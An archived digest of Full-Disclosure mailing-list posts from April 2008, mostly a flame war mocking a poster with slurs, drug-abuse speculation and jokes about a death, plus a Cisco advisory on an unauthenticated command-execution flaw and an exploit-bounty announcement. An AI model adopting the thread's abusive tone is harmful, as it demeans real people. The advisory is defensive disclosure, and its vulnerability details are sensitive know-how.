times, I believe it is sometimes > referred to as being a bore. > Or boring a bee? Paul Schmehl (pauls at utdallas.edu) Senior Information Security Analyst The University of Texas at Dallas http://www.utdallas.edu/ir/security/ From mikie.simpson at gmail.com Thu Apr 3 09:11:05 2008 From: mikie.simpson at gmail.com (Michael Simpson) Date: Thu, 3 Apr 2008 09:11:05 +0100 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conferencespamming its fucking gay In-Reply-To: References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> Message-ID: <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> On 4/3/08, Paul Schmehl wrote: > --On April 3, 2008 12:27:35 AM -0400 Mary Landesman > wrote: > > > Referring to oneself in the third person can be a symptom of identity > > confusion or identity alteration, a subset or trait of dissociation. In > > ancient times, it was referred to as demonic possession. > > > > Self-objectification is also a trait of narcissism, perhaps because > > narcissists love and feel empowered by (possession of) objects. And what > > better object for a narcissist to love than themselves, objectified? > > Other traits associated with narcissism are bragging, attention-seeking, > > delusions of grandeur, etc. In modern times, I believe it is sometimes > > referred to as being a bore. > > > > Or boring a bee? > > Paul Schmehl (pauls at utdallas.edu) > Senior Information Security Analyst > The University of Texas at Dallas > http://www.utdallas.edu/ir/security/ As a medic working as a associate specialist in the treatment of substance misuse disorder for the last few years n3td3v reminds me of my patients who indulge in polydrug abuse mainly involving cocaine and alcohol, often in combination. This is a very dangerous thing to do due to the 2 drugs being combined by the liver to form cocaethylene which is significantly more euphoric and hepatotoxic. -tip i have done some "n of 1" trials with patients showing that antabuse (disulphiram) can help with this as it seems to inhibit dopamine decarboxylase in the brain thus raising basal dopamine levels reducing cravings as well as preventing alcohol use. Modafenil also seems quite promising for stimulant misuse but my bosses are being slow about letting me set up a proper double-blind placebo controlled study of this. I also think this is why the analysis of n3td3v done previously came to the conclusion that it was several separate individuals. It is merely one guy in different states of intoxication. The evolution of his evolving addiction and deteriorating mental health has been quite clear over the last few years. Soon , if he follows the pattern set by many Scots indulging in hard drug use he will start to use benzodiazepines more and more and if he is very unlucky he will be exposed to heroin. At this point he will go away and FD can return to its true nature as a list for sec matters with occasional furry pr0n spam. :-) mike From razishaban at gmail.com Thu Apr 3 14:20:32 2008 From: razishaban at gmail.com (Razi Shaban) Date: Thu, 3 Apr 2008 16:20:32 +0300 Subject: [Full-disclosure] n3td3v has a fan In-Reply-To: <6158bb410804021715l29dafd00i1ba25ca63eb723bd@mail.gmail.com> References: <6158bb410804021546q1bd945d4ydb0eb50c0e900aee@mail.gmail.com> <4b6ee9310804021613n628cd00bj706125788bff60de@mail.gmail.com> <6158bb410804021715l29dafd00i1ba25ca63eb723bd@mail.gmail.com> Message-ID: <2d792fb20804030620i795b851cu90c69b3f37dd82e5@mail.gmail.com> Actually, you're representing the opinion of the majority of the list. n3td3v is undoubtably one of the most annoying posters, with an amazingly inflated sense of self-worth. -- Razi On 4/3/08, Ureleet wrote: > you are the one bragging about making a difference, all i see is you being > annoying. but i don't know ur full history on the mailing list, but from > what i see, its not very positive. > > and am i annoying everyone? or just you. speaking about stopping the storm > worm and trying to stop the storm worm are two different things. > > On Wed, Apr 2, 2008 at 7:13 PM, n3td3v wrote: > > On Wed, Apr 2, 2008 at 11:46 PM, Ureleet wrote: > > > you like him because he posts ur articles. > > > > > > you can have him. > > > > > > stop trolling. > > > > I'm the one at the forefront of security trying to make a difference, > > and what are you? He supports me because of my cause to stop the Storm > > Worm, so what solutions have you got, instead of annoying everyone? > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From ureleet at gmail.com Thu Apr 3 14:45:03 2008 From: ureleet at gmail.com (Ureleet) Date: Thu, 3 Apr 2008 09:45:03 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conferencespamming its fucking gay In-Reply-To: <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> Message-ID: <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> or, he's just stupid? spade equals spade. On Thu, Apr 3, 2008 at 4:11 AM, Michael Simpson wrote: > On 4/3/08, Paul Schmehl wrote: > > --On April 3, 2008 12:27:35 AM -0400 Mary Landesman < > mlande at bellsouth.net> > > wrote: > > > > > Referring to oneself in the third person can be a symptom of identity > > > confusion or identity alteration, a subset or trait of dissociation. > In > > > ancient times, it was referred to as demonic possession. > > > > > > Self-objectification is also a trait of narcissism, perhaps because > > > narcissists love and feel empowered by (possession of) objects. And > what > > > better object for a narcissist to love than themselves, objectified? > > > Other traits associated with narcissism are bragging, > attention-seeking, > > > delusions of grandeur, etc. In modern times, I believe it is sometimes > > > referred to as being a bore. > > > > > > > Or boring a bee? > > > > Paul Schmehl (pauls at utdallas.edu) > > Senior Information Security Analyst > > The University of Texas at Dallas > > http://www.utdallas.edu/ir/security/ > > As a medic working as a associate specialist in the treatment of > substance misuse disorder for the last few years n3td3v reminds me of > my patients who indulge in polydrug abuse mainly involving cocaine and > alcohol, often in combination. > > This is a very dangerous thing to do due to the 2 drugs being combined > by the liver to form cocaethylene which is significantly more euphoric > and hepatotoxic. > > -tip i have done some "n of 1" trials with patients showing that > antabuse (disulphiram) can help with this as it seems to inhibit > dopamine decarboxylase in the brain thus raising basal dopamine levels > reducing cravings as well as preventing alcohol use. Modafenil also > seems quite promising for stimulant misuse but my bosses are being > slow about letting me set up a proper double-blind placebo controlled > study of this. > > I also think this is why the analysis of n3td3v done previously came > to the conclusion that it was several separate individuals. It is > merely one guy in different states of intoxication. > > The evolution of his evolving addiction and deteriorating mental > health has been quite clear over the last few years. > > Soon , if he follows the pattern set by many Scots indulging in hard > drug use he will start to use benzodiazepines more and more and if he > is very unlucky he will be exposed to heroin. > At this point he will go away and FD can return to its true nature as > a list for sec matters with occasional furry pr0n spam. > > :-) > > mike > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080403/593dabca/attachment.html From ihasshovel at gmail.com Thu Apr 3 14:58:14 2008 From: ihasshovel at gmail.com (DUDE DUDERINO) Date: Thu, 3 Apr 2008 09:58:14 -0400 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: <82abd3a70804020614r504fd633mbf75a8cdde17564d@mail.gmail.com> References: <82abd3a70804020614r504fd633mbf75a8cdde17564d@mail.gmail.com> Message-ID: <8e2fa2650804030658q775caf32l64846ad96b6d03a0@mail.gmail.com> Haha, that's nice. How's that for ethical behavior? :) On Wed, Apr 2, 2008 at 9:14 AM, Michael Simpson wrote: > On 4/2/08, Cassidy MacFarlane wrote: > > "Youre playing with fire. Fire that cannot be put out with words but > > only inflame the situation of which you are misinformed." > > - n3td3v > > > lolz > > and the classic: > > Hello Mi5, Mi6, Symantec > > > I have information regarding Yahoo > > > Reference: > > http://groups.google.com/group/n3td3v/browse_wank/thread/7b60d3fbd0eb9a77/7d1f85fbe122fb29#7d1f85fbe122fb29 > > > I used to be his friend but now he fell out with me, so I want to tell > everyone about him, because he's a yahoo employee i used to give > "intelligence" to, but now he backstabbed me, and he miscalculated how > much i knew about him and his "circle of friends". > > > He works for Yahoo > > > Contact me on e-mail and we can exchange phone numbers mibbe go out > for a meal, circle-jerk &c > > > Regards, > > > n3td3v > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080403/132e94df/attachment.html From groffg at gmgdesign.com Thu Apr 3 15:02:04 2008 From: groffg at gmgdesign.com (Garrett M. Groff) Date: Thu, 3 Apr 2008 10:02:04 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com><4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com><4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com><27886.1207189079@turing-police.cc.vt.edu><030b01c89543$0b481540$6401a8c0@maryl><82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> Message-ID: <004e01c89593$4cec60f0$336b880a@softpro.corp> Regarding the particular person in question, I'll defer to others who know him (or her, or they, or whomever) better than I do. Instead, I'll say that, generally, on lists like FD, there is a minority of out-spoken personalities who sadly support the stereotypical hacker persona: condescending egoists who are socially inept and emotionally charged when discussing topics that relate to their knowledge domain. That's unfortunate, since the broader IT security community is poorly represented due to attention-seeking zealots. Regarding the idea of "oulawing security conference spamming," I'd say the literal idea of outlawing cross-posts to multiple security mailing lists is a bad idea. The idea that the legislature should write into law legislation that reduces our freedom in such a sense is a slippery slope borne of emotionalism and narrowness. What else should the government do to curtail our freedoms? I tend to side with libertarian types (though I don't call myself a "libertarian" un-qualified) on what the government should do and what they should not do. And micro-manage security mailing lists is something they should not do. It's a bad idea and would make a dreadful precedent. - G ----- Original Message ----- From: Ureleet To: Michael Simpson Cc: full-disclosure at lists.grok.org.uk Sent: Thursday, April 03, 2008 9:45 AM Subject: Re: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its fucking gay or, he's just stupid? spade equals spade. On Thu, Apr 3, 2008 at 4:11 AM, Michael Simpson wrote: On 4/3/08, Paul Schmehl wrote: > --On April 3, 2008 12:27:35 AM -0400 Mary Landesman > wrote: > > > Referring to oneself in the third person can be a symptom of identity > > confusion or identity alteration, a subset or trait of dissociation. In > > ancient times, it was referred to as demonic possession. > > > > Self-objectification is also a trait of narcissism, perhaps because > > narcissists love and feel empowered by (possession of) objects. And what > > better object for a narcissist to love than themselves, objectified? > > Other traits associated with narcissism are bragging, attention-seeking, > > delusions of grandeur, etc. In modern times, I believe it is sometimes > > referred to as being a bore. > > > > Or boring a bee? > > Paul Schmehl (pauls at utdallas.edu) > Senior Information Security Analyst > The University of Texas at Dallas > http://www.utdallas.edu/ir/security/ As a medic working as a associate specialist in the treatment of substance misuse disorder for the last few years n3td3v reminds me of my patients who indulge in polydrug abuse mainly involving cocaine and alcohol, often in combination. This is a very dangerous thing to do due to the 2 drugs being combined by the liver to form cocaethylene which is significantly more euphoric and hepatotoxic. -tip i have done some "n of 1" trials with patients showing that antabuse (disulphiram) can help with this as it seems to inhibit dopamine decarboxylase in the brain thus raising basal dopamine levels reducing cravings as well as preventing alcohol use. Modafenil also seems quite promising for stimulant misuse but my bosses are being slow about letting me set up a proper double-blind placebo controlled study of this. I also think this is why the analysis of n3td3v done previously came to the conclusion that it was several separate individuals. It is merely one guy in different states of intoxication. The evolution of his evolving addiction and deteriorating mental health has been quite clear over the last few years. Soon , if he follows the pattern set by many Scots indulging in hard drug use he will start to use benzodiazepines more and more and if he is very unlucky he will be exposed to heroin. At this point he will go away and FD can return to its true nature as a list for sec matters with occasional furry pr0n spam. :-) mike _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From mlande at bellsouth.net Thu Apr 3 15:36:15 2008 From: mlande at bellsouth.net (Mary Landesman) Date: Thu, 3 Apr 2008 10:36:15 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its fucking gay In-Reply-To: <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com><4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com><4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com><27886.1207189079@turing-police.cc.vt.edu><030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> Message-ID: <019a01c89598$12d07c80$6401a8c0@maryl> I feel compelled to point out that my comments were meant tongue-in-cheek, hence the 'demonic possession', 'being a bore' reference. I should never underestimate the necessity of a well placed :-) -- Mary -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Michael Simpson Sent: Thursday, April 03, 2008 4:11 AM To: full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its fucking gay On 4/3/08, Paul Schmehl wrote: > --On April 3, 2008 12:27:35 AM -0400 Mary Landesman > > wrote: > > > Referring to oneself in the third person can be a symptom of > > identity confusion or identity alteration, a subset or trait of > > dissociation. In ancient times, it was referred to as demonic possession. > > > > Self-objectification is also a trait of narcissism, perhaps because > > narcissists love and feel empowered by (possession of) objects. And > > what better object for a narcissist to love than themselves, objectified? > > Other traits associated with narcissism are bragging, > > attention-seeking, delusions of grandeur, etc. In modern times, I > > believe it is sometimes referred to as being a bore. > > > > Or boring a bee? > > Paul Schmehl (pauls at utdallas.edu) > Senior Information Security Analyst > The University of Texas at Dallas > http://www.utdallas.edu/ir/security/ As a medic working as a associate specialist in the treatment of substance misuse disorder for the last few years n3td3v reminds me of my patients who indulge in polydrug abuse mainly involving cocaine and alcohol, often in combination. This is a very dangerous thing to do due to the 2 drugs being combined by the liver to form cocaethylene which is significantly more euphoric and hepatotoxic. -tip i have done some "n of 1" trials with patients showing that antabuse (disulphiram) can help with this as it seems to inhibit dopamine decarboxylase in the brain thus raising basal dopamine levels reducing cravings as well as preventing alcohol use. Modafenil also seems quite promising for stimulant misuse but my bosses are being slow about letting me set up a proper double-blind placebo controlled study of this. I also think this is why the analysis of n3td3v done previously came to the conclusion that it was several separate individuals. It is merely one guy in different states of intoxication. The evolution of his evolving addiction and deteriorating mental health has been quite clear over the last few years. Soon , if he follows the pattern set by many Scots indulging in hard drug use he will start to use benzodiazepines more and more and if he is very unlucky he will be exposed to heroin. At this point he will go away and FD can return to its true nature as a list for sec matters with occasional furry pr0n spam. :-) mike _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From se_cur_ity at hotmail.com Thu Apr 3 16:18:53 2008 From: se_cur_ity at hotmail.com (Morning Wood) Date: Thu, 3 Apr 2008 08:18:53 -0700 Subject: [Full-disclosure] RIP epic References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com><4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com><4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com><27886.1207189079@turing-police.cc.vt.edu><030b01c89543$0b481540$6401a8c0@maryl><82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <019a01c89598$12d07c80$6401a8c0@maryl> Message-ID: RIP epic - http://www.hack3r.com You will be missed, fly on bro. From razishaban at gmail.com Thu Apr 3 16:28:11 2008 From: razishaban at gmail.com (Razi Shaban) Date: Thu, 3 Apr 2008 18:28:11 +0300 Subject: [Full-disclosure] RIP epic In-Reply-To: References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <019a01c89598$12d07c80$6401a8c0@maryl> Message-ID: <2d792fb20804030828s2edc2ca1mc2573b246141555f@mail.gmail.com> What happened to him? -- Razi On 4/3/08, Morning Wood wrote: > RIP epic - http://www.hack3r.com > > You will be missed, fly on bro. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From psirt at cisco.com Thu Apr 3 17:00:00 2008 From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team) Date: Thu, 03 Apr 2008 16:00:00 -0000 Subject: [Full-disclosure] Cisco Security Advisory: Cisco Unified Communications Disaster Recovery Framework Command Execution Vulnerability Message-ID: <20080403.drf@psirt.cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Cisco Unified Communications Disaster Recovery Framework Command Execution Vulnerability Advisory ID: cisco-sa-20080403-drf http://www.cisco.com/warp/public/707/cisco-sa-20080403-drf.shtml Revision 1.0 For Public Release 2008 April 03 1600 UTC (GMT) - --------------------------------------------------------------------- Summary ======= Several products in the Cisco Unified Communications family of products contain a command execution vulnerability in the Disaster Recovery Framework (DRF) feature. A remote, unauthenticated user could exploit this vulnerability to execute arbitrary commands that may allow full administrative access to affected systems. There is a workaround for this vulnerability. Cisco has released free software updates that address this vulnerability. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20080403-drf.shtml Affected Products ================= Vulnerable Products +------------------ The following Cisco products are known to be vulnerable: * Cisco Unified Communications Manager (CUCM) 5.x and 6.x * Cisco Unified Communications Manager Business Edition * Cisco Unified Precense 1.x and 6.x * Cisco Emergency Responder 2.x * Cisco Mobility Manager 2.x Products Confirmed Not Vulnerable +-------------------------------- Cisco Unified Communications Manager versions 3.x and 4.x are not vulnerable. No other Cisco products are currently known to be affected by these vulnerabilities. Details ======= The Disaster Recovery Framework (DRF) is a feature shared among several products in the Cisco Unified Communications family of products. DRF allows administrators to backup and restore a system configuration to a local tape drive or remote server. The DRF Master server is responsible for performing backup and restoration requests. This vulnerability documents an issue where the DRF Master server does not perform authentication on requests that it receives over the network. A remote, unauthenticated user can connect to the DRF Master server and may be able to perform any DRF-related tasks. These tasks include: * Modifying or deleting a scheduled backup * Copying a system backup to a remote, user-specified server * Restoring a user-specified configuration from a remote server * Execute arbitrary operating system commands An attacker could exploit this vulnerability to cause a denial of service condition, obtain sensitive configuration information, overwrite configuration parameters, or execute arbitrary commands with full administrative privileges. This vulnerability is documented in CVE-2008-1154 and the following Cisco Bug IDs: * CSCso53771 - Cisco Unified Communications Manager 5.x and 6.x Vulnerability Scoring Details ============================= Cisco has provided scores for the vulnerability in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at http://intellishield.cisco.com/security/alertmanager/cvss CSCso53771 - Unauthenticated Access to Disaster Recovery Framework CVSS Base Score - 10 Access Vector: Network Access Complexity: Low Authentication: None Confidentiality Impact: Complete Integrity Impact: Complete Availability Impact: Complete CVSS Temporal Score - 8.3 Exploitability: Functional Remediation Level: Official-Fix Report Confidence: Confirmed Impact ====== Successful exploitation of this vulnerability could allow a remote, unauthenticated attacker to cause a denial of service condition, obtain sensitive configuration information, overwrite configuration parameters or execute arbitrary commands with full administrative privileges. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Fixed software is available for the following Cisco products. This advisory will be updated as additional fixes are available. A patch has been provided that can be applied to CUCM 5.x and 6.x, CUCMBE, Cisco Unified Presence 1.x and 6.x, Cisco Emergency Responder 2.x, and Cisco Mobility Manager 2.x. The filename is ciscocm.CSCso53771.security.patch.cop and can be downloaded at the following link: http://www.cisco.com/cgi-bin/tablebuild.pl/callmgr-utilpage?psrtdcat20e2 Please consult the COP file Readme for installation instructions. Workarounds =========== Administrators can mitigate this vulnerability by disabling the DRF Master service. However, administrators should exercise caution when disabling the DRF Master service, as system backups will not occur while the service is stopped. Administrators are encouraged to perform a complete system backup before employing this workaround and use care when making configuration changes until the DRF Master service can be safely re-enabled. Instructions for disabling the DRF Master service on Cisco Unified Communications Manager systems are available at the following link: http://www.cisco.com/en/US/docs/voice_ip_comm/cucm/service/5_0_1/ccmsrva/sasrvact.html#wp1048220 The vulnerability may be mitigated by restricting access to the DRF Master service (TCP port 4040). For a Cisco Unified Communications Manager cluster, access to the port should be restricted to valid cluster nodes. Additional mitigation techniques that can be deployed on Cisco devices within the network are available in the Cisco Applied Mitigation Bulletin companion document for this advisory: http://www.cisco.com/warp/public/707/cisco-amb-20080403-drf.shtml Obtaining Fixed Software ======================== Cisco has released free software updates that address this vulnerability. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml Do not contact psirt at cisco.com or security-alert at cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac at cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any malicious use of the vulnerability described in this advisory. This vulnerability was reported to Cisco by VoIPshield Systems. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at: http://www.cisco.com/warp/public/707/cisco-sa-20080403-drf.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce at cisco.com * first-teams at first.org * bugtraq at securityfocus.com * vulnwatch at vulnwatch.org * cisco at spot.colorado.edu * cisco-nsp at puck.nether.net * full-disclosure at lists.grok.org.uk * comp.dcom.sys.cisco at newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +---------------------------------------+ | Revision | | Initial | | 1.0 | 2008-April-03 | public | | | | release | +---------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. - --------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (Darwin) iD8DBQFH9P4/86n/Gc8U/uARAgP1AKCYJS+NnmfcbOa6X/bOGX//WtZ9bQCdE8eQ ujmH9JrSK7JatP5eShSBxvQ= =uxdK -----END PGP SIGNATURE----- From vulnwatch at digitalarmaments.com Thu Apr 3 16:39:06 2008 From: vulnwatch at digitalarmaments.com (Vulnwatch) Date: Thu, 03 Apr 2008 17:39:06 +0200 Subject: [Full-disclosure] Digital Armaments March-April Hacking Challenge: 5, 000$ Prize - Client Vulnerabilities and Exploit Message-ID: <47F4FA1A.4090609@digitalarmaments.com> Digital Armaments March-April Hacking Challenge: 5,000$ Prize - Client Vulnerabilities and Exploit Digital Armaments Advisory is 03.15.2008 http://digitalarmaments.com/content/view/46/1/ I. Details Digital Armaments officially announce the launch of March-April hacking challenge. The challenge starts on March 1. For the March-April Challenge, Digital Armaments will give a prize of 5,000$ for each submission that results in a Exploitable Vulnerability or Working Exploit for Windows or Windows Diffuse Application. This should include example and documentation. The submission must be sent during the March/April months and be received by midnight EST on April 30, 2008. The 5,000$ PRIZE will be an extra added to the normal vulnerability payment (check the DACP scheme). II. References For further information on Digital Armaments Contributor Program (DACP) please refer at the contribute section. Details of credits value can be found at the contribute section and in the FAQs section. III. Legal Notices Copyright ? 2008 Digital Armaments Inc. Redistribution of this alert electronically is allowed. It should not be edited in any way. Reprint the whole is allowed, partial reprint is not permitted. For any other request please email customerservice at digitalarmaments.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From soufre at gmail.com Thu Apr 3 18:36:00 2008 From: soufre at gmail.com (I. D.) Date: Thu, 3 Apr 2008 13:36:00 -0400 Subject: [Full-disclosure] RIP epic In-Reply-To: <2d792fb20804030828s2edc2ca1mc2573b246141555f@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <019a01c89598$12d07c80$6401a8c0@maryl> <2d792fb20804030828s2edc2ca1mc2573b246141555f@mail.gmail.com> Message-ID: <71c852d10804031036g68350069g440482e38f889d7a@mail.gmail.com> Who cares? Just a two-bit 'hacker' (even lied about working at Novell etc) pulling a RaT, doubt he's even dead. But a man can hope. On Thu, Apr 3, 2008 at 11:28 AM, Razi Shaban wrote: > What happened to him? > > -- > Razi > > On 4/3/08, Morning Wood wrote: > > RIP epic - http://www.hack3r.com > > > > You will be missed, fly on bro. > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080403/60034265/attachment.html From joey.mengele at hushmail.com Thu Apr 3 19:12:11 2008 From: joey.mengele at hushmail.com (Joey Mengele) Date: Thu, 03 Apr 2008 14:12:11 -0400 Subject: [Full-disclosure] RIP epic Message-ID: <20080403181212.278B32003D@mailserver7.hushmail.com> I heard he accidentally Dead Van Duded himself while cleaning his shotgun LOLOLOL. J On Thu, 03 Apr 2008 13:36:00 -0400 "I. D." wrote: >Who cares? Just a two-bit 'hacker' (even lied about working at >Novell etc) >pulling a RaT, doubt he's even dead. But a man can hope. > >On Thu, Apr 3, 2008 at 11:28 AM, Razi Shaban > wrote: > >> What happened to him? >> >> -- >> Razi >> >> On 4/3/08, Morning Wood wrote: >> > RIP epic - http://www.hack3r.com >> > >> > You will be missed, fly on bro. >> > >> > _______________________________________________ >> > Full-Disclosure - We believe in it. >> > Charter: http://lists.grok.org.uk/full-disclosure- >charter.html >> > Hosted and sponsored by Secunia - http://secunia.com/ >> > >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ -- Click now for great deals on quality 